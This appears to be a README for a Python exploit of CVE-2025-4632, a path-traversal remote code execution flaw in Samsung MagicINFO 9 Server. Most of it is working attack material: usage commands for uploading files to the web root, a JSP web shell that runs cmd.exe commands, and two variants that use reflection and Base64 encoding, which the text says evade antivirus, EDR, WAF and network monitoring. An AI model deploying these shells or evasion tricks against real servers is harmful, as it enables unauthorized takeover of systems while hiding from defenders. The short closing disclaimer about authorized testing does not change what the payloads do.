This repository contains a Python replication script for CVE-2025-4632, an Unauthenticated Remote Code Execution (RCE) vulnerability in Samsung MagicINFO 9 Server (versions prior to 21.1052).
This repository contains a Python replication script for CVE-2025-4632, an Unauthenticated Remote Code Execution (RCE) vulnerability in Samsung MagicINFO 9 Server (versions prior to 21.1052).
The vulnerability exists due to an improper limitation of a pathname in the SWUpdateFileUploader servlet. By utilizing path traversal (../../), an unauthenticated attacker can write arbitrary files with SYSTEM authority, leading to full server compromise.
s4e-io (from the ProjectDiscovery Nuclei community (http/cves/2025/CVE-2025-4632.yaml)).CVE-2025-4632 Nuclei template.The script automates the process of generating a legitimate-looking device update request. It exploits the fileName parameter by injecting directory traversal sequences to break out of the intended upload directory and write a file directly to the web root (/MagicInfo/).
The script performs two steps:
/MagicInfo/servlet/SWUpdateFileUploader with the traversal path./MagicInfo/<filename> to confirm successful exploitation.python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>
-t / --target: The base URL of the target (e.g., http://192.168.1.100:7001).-f / --filename: The name of the file to create (e.g., shell.jsp).-d / --data: The raw content to write into the file.The following payloads were successfully tested during assessment activities. They are designed to prove impact while navigating endpoint security controls.
Used to safely confirm JSP execution without triggering Antivirus or EDR.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'
Access: http://<target>:7001/MagicInfo/poc.jsp
A standard JSP web shell. Note: This may be caught and quarantined by modern AV/EDR solutions resulting in a 404 Not Found upon verification.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'
Access: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami
Used when the standard shell is blocked. This payload uses Java Reflection to hide the Runtime.getRuntime().exec signature from static analysis.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Access: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all
Highly Recommended for Complex Commands: If you encounter 400 Bad Request errors when trying to run commands with spaces, backslashes, or special characters (e.g., dir c:\), the server's strict URI validation or a WAF is blocking the request.
This advanced payload expects the command to be Base64 encoded in the URL. It decodes it server-side before execution, completely bypassing URL filtering and obscuring the command from network monitors.
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'
Usage Examples:
Encode your command to Base64 locally (e.g., echo -n "dir c:\" | base64), then pass it to the c parameter.
whoami -> d2hvYW1p
http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1ptasklist /svc -> dGFza2xpc3QgL3N2Yw==
http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==dir c:\ -> ZGlyIGM6XA==
http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==Disclaimer: This script is for educational and authorized penetration testing purposes only.